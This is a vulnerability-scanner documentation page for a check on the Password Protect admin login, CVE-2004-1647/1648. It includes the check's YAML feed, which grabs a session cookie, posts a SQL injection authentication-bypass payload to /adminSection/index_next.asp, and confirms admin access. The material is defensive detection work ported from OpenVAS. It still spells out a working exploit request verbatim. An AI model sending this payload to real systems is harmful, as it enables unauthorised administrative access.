Password Protect — 1 vulnerability check

noctis ships 1 vulnerability check for Password Protect, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Password Protect admin login SQL injection authentication bypass

CVECVE-2004-1647, CVE-2004-1648
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, tcp_connect, match, script · highest QoD 75
Feedtests/vulnerabilities/password-protect/CVE-2004-1647.yaml

Posts a SQL injection payload to /adminSection/index_next.asp and reports when the same session then opens the administration section without valid credentials.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /adminSection/main.asp HTTP/1.0
  2. Checks grab.banner for [Ss]et-[Cc]ookie: *([^;\r\n ]+)
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: POST /adminSection/index_next.asp HTTP/1.0
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /adminSection/main.asp HTTP/1.0
  6. Checks resp.banner for (?s)Web Site Administration.*The Web Animations Administration Section → finding QoD 75: SQLi auth bypass confirmed (password-protect): admin page served to the authenticated session: …

References:

Feed source — tests/vulnerabilities/password-protect/CVE-2004-1647.yaml
uid: 3d419ed4-8313-434d-90a1-b76c13a5f700
name: "Password Protect admin login SQL injection authentication bypass (CVE-2004-1647)"
description: "Posts a SQL injection payload to /adminSection/index_next.asp and reports when the same session then opens the administration section without valid credentials."
cves: [CVE-2004-1647, CVE-2004-1648]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.3
tags: [openvas-migrated, http, password-protect]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1647"
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1648"
  - "OpenVAS NASL pre2008/passwordprotect_sql_inject.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL pre2008/passwordprotect_sql_inject.nasl (GPL-2.0-only).
steps:
  - id: seed
    action: set_var
    var_name: got_cookie
    var_value: false
  # Grab a fresh session cookie from the admin page (the NASL requires a
  # Set-Cookie here before attempting the injection).
  - id: grab
    action: tcp_connect
    port: "{{port}}"
    send: "GET /adminSection/main.asp HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: grab
  - id: cookie_match
    action: match
    source: grab.banner
    pattern: '[Ss]et-[Cc]ookie: *([^;\r\n ]+)'
    store_as: ck
    on_match:
      set_vars:
        got_cookie: true
  - id: cookie_store
    action: script
    code: 'ck["captures"][0]'
    store_as: cookie
    condition: "got_cookie"
  # Send the SQLi auth-bypass POST carrying that cookie.
  - id: inject
    action: tcp_connect
    port: "{{port}}"
    send: "POST /adminSection/index_next.asp HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: {{cookie}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 57\r\nConnection: close\r\n\r\nadmin=%27+or+%27%27%3D%27&Pass=password&BTNSUBMIT=+Login+"
    store_as: inj
    condition: "got_cookie"
  # Re-fetch the admin page with the (now authenticated) cookie and confirm the
  # admin markers appear — the NASL checks them on this GET, not on the POST.
  - id: refetch
    action: tcp_connect
    port: "{{port}}"
    send: "GET /adminSection/main.asp HTTP/1.0\r\nHost: {{target_host}}\r\nCookie: {{cookie}}\r\n\r\n"
    store_as: resp
    condition: "got_cookie"

  - id: detect
    action: match
    source: resp.banner
    pattern: "(?s)Web Site Administration.*The Web Animations Administration Section"
    condition: "got_cookie"
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "SQLi auth bypass confirmed (password-protect): admin page served to the authenticated session: {{resp.banner}}"
      stop: true

View these feeds on GitHub